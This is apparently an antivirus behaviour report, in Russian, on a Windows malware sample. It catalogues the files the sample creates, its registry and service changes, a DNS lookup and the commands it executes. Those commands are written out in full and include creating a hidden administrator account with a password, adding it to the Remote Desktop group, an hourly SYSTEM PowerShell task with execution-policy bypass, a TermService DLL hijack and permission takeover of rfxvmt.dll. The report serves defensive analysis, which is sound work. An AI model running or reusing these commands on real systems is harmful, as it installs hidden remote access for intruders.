Техническая информация
Для обеспечения автозапуска и распространения
Создает или изменяет следующие файлы
- <SYSTEM32>\tasks\58390
Создает следующие сервисы
- [<HKLM>\system\currentcontrolset\services\TermService\parameters] 'ServiceDLL' = '%ProgramFiles%\windows mail\appcache.xml'
- [<HKLM>\System\CurrentControlSet\Services\TermService] 'Start' = '00000002'
Изменения в файловой системе
Создает следующие файлы
- %TEMP%\nsna6e6.tmp
- C:\users\supportaccount\appdata\roaming\microsoft\windows\sendto\mail recipient.mapimail
- C:\users\supportaccount\appdata\roaming\microsoft\windows\start menu\programs\accessories\notepad.lnk
- C:\users\supportaccount\appdata\roaming\microsoft\windows\sendto\fax recipient.lnk
- C:\users\supportaccount\appdata\roaming\microsoft\windows\sendto\desktop.ini
- C:\users\supportaccount\appdata\roaming\microsoft\windows\sendto\compressed (zipped) folder.zfsendtotarget
- C:\users\supportaccount\appdata\roaming\microsoft\windows\sendto\desktop (create shortcut).desklink
- C:\users\supportaccount\appdata\roaming\microsoft\windows\start menu\programs\accessories\system tools\desktop.ini
- C:\users\supportaccount\appdata\roaming\microsoft\windows\start menu\programs\accessories\accessibility\on-screen keyboard.lnk
- C:\users\supportaccount\appdata\roaming\microsoft\windows\start menu\programs\accessories\system tools\control panel.lnk
- C:\users\supportaccount\appdata\roaming\microsoft\windows\start menu\programs\accessories\system tools\computer.lnk
- C:\users\supportaccount\appdata\roaming\microsoft\windows\start menu\programs\accessories\accessibility\magnify.lnk
- C:\users\supportaccount\appdata\roaming\microsoft\internet explorer\quick launch\shows desktop.lnk
- C:\users\supportaccount\appdata\roaming\microsoft\internet explorer\quick launch\window switcher.lnk
- C:\users\supportaccount\appdata\roaming\microsoft\internet explorer\quick launch\desktop.ini
- C:\users\supportaccount\ntuser.ini
- C:\users\supportaccount\appdata\local\microsoft\windows\usrclass.dat.log1
- C:\users\supportaccount\appdata\local\microsoft\windows\usrclass.dat
- C:\users\supportaccount\appdata\roaming\microsoft\windows\start menu\programs\accessories\accessibility\desktop.ini
- C:\users\supportaccount\appdata\roaming\microsoft\windows\start menu\programs\accessories\accessibility\ease of access.lnk
- C:\users\supportaccount\appdata\roaming\microsoft\windows\start menu\programs\accessories\accessibility\narrator.lnk
- C:\users\supportaccount\appdata\roaming\microsoft\windows\start menu\programs\accessories\run.lnk
- C:\users\supportaccount\appdata\roaming\microsoft\windows\start menu\programs\accessories\command prompt.lnk
- %TEMP%\chadshfsd323.txt
- %TEMP%\premiumextrabjjmpvznyo.ps1
- %TEMP%\add.ps1
- %TEMP%\nsna6e7.tmp\system.dll
- %ProgramFiles%\windows mail\appcache.xml
- %ProgramFiles%\windows mail\default_list.xml
- %ProgramFiles%\windows mail\cleanuptask.cfg
- <SYSTEM32>\rfxvmt.dll
- %TEMP%\nsna6e7.tmp\blowfish.dll
- %WINDIR%\temp\usrnm.txt
- <SYSTEM32>\microsoft\protect\s-1-5-20\preferred
- %PROGRAMDATA%\microsoft\crypto\rsa\machinekeys\f686aace6942fb7f7ceb231212eef4a4_36d1130a-ac2e-44f7-9dc1-e424fbcbe0ee
- C:\users\supportaccount\ntuser.dat
- C:\users\supportaccount\appdata\roaming\microsoft\windows\start menu\programs\maintenance\help.lnk
- C:\users\supportaccount\appdata\roaming\microsoft\windows\start menu\programs\maintenance\desktop.ini
- C:\users\supportaccount\appdata\roaming\microsoft\windows\start menu\programs\accessories\system tools\private character editor.lnk
- C:\users\supportaccount\appdata\roaming\microsoft\windows\start menu\programs\accessories\desktop.ini
- C:\users\supportaccount\appdata\roaming\microsoft\windows\start menu\programs\accessories\windows explorer.lnk
- <SYSTEM32>\microsoft\protect\s-1-5-20\7706c8de-7220-4df8-9342-a90b0e92be55
- C:\users\supportaccount\ntuser.dat.log1
- C:\users\supportaccount\ntuser.pol
Присваивает атрибут 'скрытый' для следующих файлов
- C:\users\supportaccount\ntuser.dat
- C:\users\supportaccount\appdata\local\microsoft\windows\usrclass.dat
Удаляет следующие файлы
- %TEMP%\nsna6e7.tmp\blowfish.dll
- %TEMP%\nsna6e7.tmp\system.dll
- %TEMP%\chadshfsd323.txt
Самоудаляется.
Сетевая активность
UDP
- DNS ASK af####daslfo3d3.xyz
Другое
Ищет следующие окна
- ClassName: 'CicLoaderWndClass' WindowName: ''
Создает и запускает на исполнение
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -ep bypass -f %TEMP%\premiumextraBJJMPVZNYO.ps1
- '<SYSTEM32>\cmd.exe' /c powershell -ep bypass -f %TEMP%\premiumextraBJJMPVZNYO.ps1' (со скрытым окном)
- '<SYSTEM32>\cmd.exe' /C net.exe user supportaccount asfggees /del' (со скрытым окном)
- '<SYSTEM32>\cmd.exe' /C net.exe user supportaccount uOLHLDkE /add' (со скрытым окном)
- '<SYSTEM32>\cmd.exe' /C net.exe LOCALGROUP "Remote Desktop Users" supportaccount /ADD' (со скрытым окном)
- '<SYSTEM32>\cmd.exe' /C net.exe LOCALGROUP "Remote Desktop Users" ssgosftgu$ /ADD' (со скрытым окном)
- '<SYSTEM32>\cmd.exe' /C net.exe LOCALGROUP "Administrators" supportaccount /ADD' (со скрытым окном)
- '<SYSTEM32>\cmd.exe' /C net.exe user supportaccount uOLHLDkE' (со скрытым окном)
- '<SYSTEM32>\cmd.exe' /C schtasks /create /tn 58390 /tr "powershell -nop -ep bypass -f %WINDIR%\help\42645.ps1" /ru system /sc hourly /mo 1' (со скрытым окном)
Запускает на исполнение
- '<SYSTEM32>\cmd.exe' /c powershell -ep bypass -f %TEMP%\premiumextraBJJMPVZNYO.ps1
- '<SYSTEM32>\cmd.exe' /C net.exe user supportaccount uOLHLDkE /add
- '<SYSTEM32>\net.exe' user supportaccount uOLHLDkE /add
- '<SYSTEM32>\net1.exe' user supportaccount uOLHLDkE /add
- '<SYSTEM32>\cmd.exe' /C net.exe LOCALGROUP "Remote Desktop Users" supportaccount /ADD
- '<SYSTEM32>\net.exe' LOCALGROUP "Remote Desktop Users" supportaccount /ADD
- '<SYSTEM32>\net1.exe' LOCALGROUP "Remote Desktop Users" supportaccount /ADD
- '<SYSTEM32>\cmd.exe' /C net.exe LOCALGROUP "Remote Desktop Users" ssgosftgu$ /ADD
- '<SYSTEM32>\cmd.exe' /c del %temp%\*.ps1 /f
- '<SYSTEM32>\net.exe' LOCALGROUP "Remote Desktop Users" ssgosftgu$ /ADD
- '<SYSTEM32>\net1.exe' LOCALGROUP "Remote Desktop Users" ssgosftgu$ /ADD
- '<SYSTEM32>\csrss.exe' ObjectDirectory=\Windows SharedSection=1024,20480,768 Windows=On SubSystemType=Windows ServerDll=basesrv,1 ServerDll=winsrv:UserServerDllInitialization,3 ServerDll=winsrv:ConServerDllInitializa...
- '<SYSTEM32>\cmd.exe' /C net.exe LOCALGROUP "Administrators" supportaccount /ADD
- '<SYSTEM32>\net.exe' LOCALGROUP "Administrators" supportaccount /ADD
- '<SYSTEM32>\net1.exe' LOCALGROUP "Administrators" supportaccount /ADD
- '<SYSTEM32>\cmd.exe' /C net.exe user supportaccount uOLHLDkE
- '<SYSTEM32>\net.exe' user supportaccount uOLHLDkE
- '<SYSTEM32>\net1.exe' user supportaccount uOLHLDkE
- '<SYSTEM32>\cmd.exe' /C schtasks /create /tn 58390 /tr "powershell -nop -ep bypass -f %WINDIR%\help\42645.ps1" /ru system /sc hourly /mo 1
- '<SYSTEM32>\schtasks.exe' /create /tn 58390 /tr "powershell -nop -ep bypass -f %WINDIR%\help\42645.ps1" /ru system /sc hourly /mo 1
- '<SYSTEM32>\smss.exe' 00000000 0000003c
- '<SYSTEM32>\net1.exe' user supportaccount asfggees /del
- '<SYSTEM32>\cmd.exe' /c del %temp%\*.txt /f
- '<SYSTEM32>\net.exe' user supportaccount asfggees /del
- '<SYSTEM32>\reg.exe' add HKLM\system\currentcontrolset\services\TermService\parameters /v ServiceDLL /t REG_EXPAND_SZ /d "%ProgramFiles%\windows mail\appcache.xml" /f
- '<SYSTEM32>\takeown.exe' /A /F rfxvmt.dll
- '<SYSTEM32>\icacls.exe' rfxvmt.dll /inheritance:d
- '<SYSTEM32>\icacls.exe' rfxvmt.dll /setowner "NT SERVICE\TrustedInstaller"
- '<SYSTEM32>\icacls.exe' rfxvmt.dll /grant "NT SERVICE\TrustedInstaller:F"
- '<SYSTEM32>\icacls.exe' rfxvmt.dll /remove "NT AUTHORITY\SYSTEM"
- '<SYSTEM32>\icacls.exe' rfxvmt.dll /grant "NT AUTHORITY\SYSTEM:RX"
- '<SYSTEM32>\icacls.exe' rfxvmt.dll /remove BUILTIN\Administrators
- '<SYSTEM32>\icacls.exe' rfxvmt.dll /grant BUILTIN\Administrators:RX
- '<SYSTEM32>\reg.exe' ADD "HKLM\System\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v PortNumber /t REG_DWORD /d 0x1C21 /f
- '<SYSTEM32>\reg.exe' add "HKLM\SOFTWARE\Policies\Microsoft\Windows NT\Terminal Services" /v fEnableWddmDriver /t reg_dword /d 0 /f
- '<SYSTEM32>\net1.exe' start TermService
- '<SYSTEM32>\net.exe' localgroup Administrators "NT AUTHORITY\NETWORK SERVICE" /add
- '<SYSTEM32>\net1.exe' localgroup Administrators "NT AUTHORITY\NETWORK SERVICE" /add
- '<SYSTEM32>\cmd.exe' /c cmd/c net start rdpdr
- '<SYSTEM32>\cmd.exe' /c net start rdpdr
- '<SYSTEM32>\net.exe' start rdpdr
- '<SYSTEM32>\net1.exe' start rdpdr
- '<SYSTEM32>\cmd.exe' /c cmd/c net start TermService
- '<SYSTEM32>\cmd.exe' /c net start TermService
- '<SYSTEM32>\net.exe' start TermService
- '<SYSTEM32>\cmd.exe' /C net.exe user supportaccount asfggees /del
- '<SYSTEM32>\winlogon.exe'
Пытается завершить работу операционной системы Windows.
